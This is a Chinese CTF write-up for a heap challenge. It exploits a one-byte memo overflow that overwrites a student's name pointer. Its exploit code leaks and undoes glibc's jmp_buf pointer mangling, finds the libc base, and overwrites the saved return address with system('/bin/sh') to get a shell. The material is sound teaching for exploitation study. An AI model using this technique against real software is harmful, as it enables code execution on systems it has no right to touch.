Vuln
类似 off-by-one,不过比off-by-one简单
程序的堆块结构如下
0x010: myclass:
---------------------------
| |
| students [0x1e] |
| |
--------------------------
0x110: jmpbuf:
--------------------------
| |
| jmpbuf |
| |
--------------------------
0x110: stud0:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
0x220: name0: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------
0x250: stud1:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
0x290: name1: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------
0x2c0: stud2:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
0x300: name2: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------
0x330: stud3:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
0x370: name3: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------
0x3a0: stud4:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
0x3e0: name4: |
-------------------------- <--|
| |
| name_buf |
| |
--------------------------
最大students数为0x20,超过的时候就会调用longjmp
longjmp会根据之前setjmp保存的地址返回
下面是memo的输入
printf("%s", "Input memo:");
v5 = (_BYTE *)(*(_QWORD *)(my_class + 8LL * v2) + 8LL);
for ( i = 0; i <= 32; ++i )
{
v1 = getchar();
if ( v1 == 10 )
break;
*v5++ = v1;
}
可以看到memo只有0x20bytes空间,而输入确可以有0x21,这样就可以覆盖name_buf一位为任意字节
又由于堆分配的连续性,并且低几位开始都是固定的,所以可以将name1覆盖成堆name2的地址,然后对name2写一个地址,地址为任意地址
0x110: stud0:
--------------------------
| |
| id |
| memo_buf[0x20] |
| name -----------------|-----
| | |
-------------------------- |
|
|
|
0x220: name0: |
-------------------------- |
| | |
| name_buf | |
| | |
-------------------------- |
|
0x250: stud1: |
-------------------------- |
| | |
| id | |
| memo_buf[0x20] | |
| name <----------------|----|
| |
--------------------------
leak
首先就是要leak出需要的地址,但是有aslr,所以不能指定固定地址
观察jmpbuf的结构
0x110: jmpbuf:
--------------------------
| |
| 0x00: ??? |
| 0x08: RBP |
| 0x10: R12 |
| 0x18: R13 |
| 0x20: R14 |
| 0x28: R15 |
| 0x30: RSP |
| 0x38: RIP <----------------|
| | |
-------------------------- |
|
... |
|
|
0x290: name2: |
-------------------------- |
| | |
| name_buf | |
| | |
-------------------------- |
|
0x2c0: stud2: |
-------------------------- |
| | |
| id | |
| memo_buf[0x20] | |
| name ----------------|----|
| |
--------------------------
有rsp,rip(longjmp之后的返回地址),不过需要注意的是这几个都是加密后的
magic number
调试发现,
► 0x7ffff7a431b0 <__sigsetjmp> mov qword ptr [rdi], rbx
0x7ffff7a431b3 <__sigsetjmp+3> mov rax, rbp
0x7ffff7a431b6 <__sigsetjmp+6> xor rax, qword ptr fs:[0x30]
0x7ffff7a431bf <__sigsetjmp+15> rol rax, 0x11
0x7ffff7a431c3 <__sigsetjmp+19> mov qword ptr [rdi + 8], rax
0x7ffff7a431c7 <__sigsetjmp+23> mov qword ptr [rdi + 0x10], r12
0x7ffff7a431cb <__sigsetjmp+27> mov qword ptr [rdi + 0x18], r13
0x7ffff7a431cf <__sigsetjmp+31> mov qword ptr [rdi + 0x20], r14
0x7ffff7a431d3 <__sigsetjmp+35> mov qword ptr [rdi + 0x28], r15
0x7ffff7a431d7 <__sigsetjmp+39> lea rdx, [rsp + 8]
0x7ffff7a431dc <__sigsetjmp+44> xor rdx, qword ptr fs:[0x30]
0x7ffff7a431e5 <__sigsetjmp+53> rol rdx, 0x11
0x7ffff7a431e9 <__sigsetjmp+57> mov qword ptr [rdi + 0x30], rdx
0x7ffff7a431ed <__sigsetjmp+61> mov rax, qword ptr [rsp]
0x7ffff7a431f1 <__sigsetjmp+65> nop
0x7ffff7a431f2 <__sigsetjmp+66> xor rax, qword ptr fs:[0x30]
0x7ffff7a431fb <__sigsetjmp+75> rol rax, 0x11
0x7ffff7a431ff <__sigsetjmp+79> mov qword ptr [rdi + 0x38], rax
0x7ffff7a43203 <__sigsetjmp+83> jmp __sigjmp_save <0x7ffff7a43210>
对于esp或者返回地址都有 rol(0x11), ^fs:0x30这样的操作
这里的技巧就是知道加密前的eip,即返回地址0x400C31
jmpbuf_orgret_addr = 0x400C31
# -------------------- leak and calculate magic number ------------------------
# student1.name -> jmpbuf
name_student(0, p64(jmpbuf_addr+0x38)+'\n')
# leak encrypted return addr
leak_addr = show_name(1)
if len(leak_addr) > 8:
leak_addr = leak_addr[0:8]
leak_addr = leak_addr.ljust(8, '\x00')
org_ret_addr = u64(leak_addr)
print 'leaked encrypt return address:', hex(org_ret_addr)
tmp_magic = ror(org_ret_addr, 0x11, 64)
magic_number = tmp_magic ^ jmpbuf_orgret_addr
print 'magic number:', hex(magic_number)
这样就可以leak出加密后的ebp然后解密,最后算出libc基址
# --------------------- leak ebp; then leak libc_start_main ----------------
name_student(0, p64(jmpbuf_addr+0x30)+'\n')
# leak encrypted return addr
leak_addr = show_name(1)
if len(leak_addr) > 8:
leak_addr = leak_addr[0:8]
leak_addr = leak_addr.ljust(8, '\x00')
ebp_enc_addr = u64(leak_addr)
ebp_enc_addr = ror(ebp_enc_addr, 0x11, 64)
ebp_real_addr = ebp_enc_addr ^ magic_number
print 'leaked ebp addr is:', hex(ebp_real_addr)
name_student(0, p64(ebp_real_addr+0x18)+'\n')
# leak encrypted return addr
leak_addr = show_name(1)
if len(leak_addr) > 8:
leak_addr = leak_addr[0:8]
leak_addr = leak_addr.ljust(8, '\x00')
libc_f0_addr = u64(leak_addr)
print 'lib fe addr:', hex(libc_f0_addr)
libc_base_addr = libc_f0_addr - local_libcstart_offset - 0xF0
print 'libc address:', hex(libc_base_addr)
exp
调试可以发现,在最后
edi正好指向jmpbuf的开头,那么覆盖一下开头几个字节,就可以使得第一个参数为 /bin/sh
最后返回到system即可
# write bin/sh
name_student(0, p64(jmpbuf_addr)+'\n')
name_student(1, '/bin/sh' + '\n')
# -------------------------- overwrite address by calculate by magic number --------------
# student1.name -> jmpbuf
name_student(0, p64(jmpbuf_addr+0x38)+'\n')
# calculate address
encry_f_addr = system_addr ^ magic_number
encry_f_addr = rol(encry_f_addr, 0x11, 64)
print 'writing magic addrress:', hex(encry_f_addr)
# overwrite jmpbuf
name_student(1, p64(encry_f_addr)+'\n')
add_student()
p.interactive()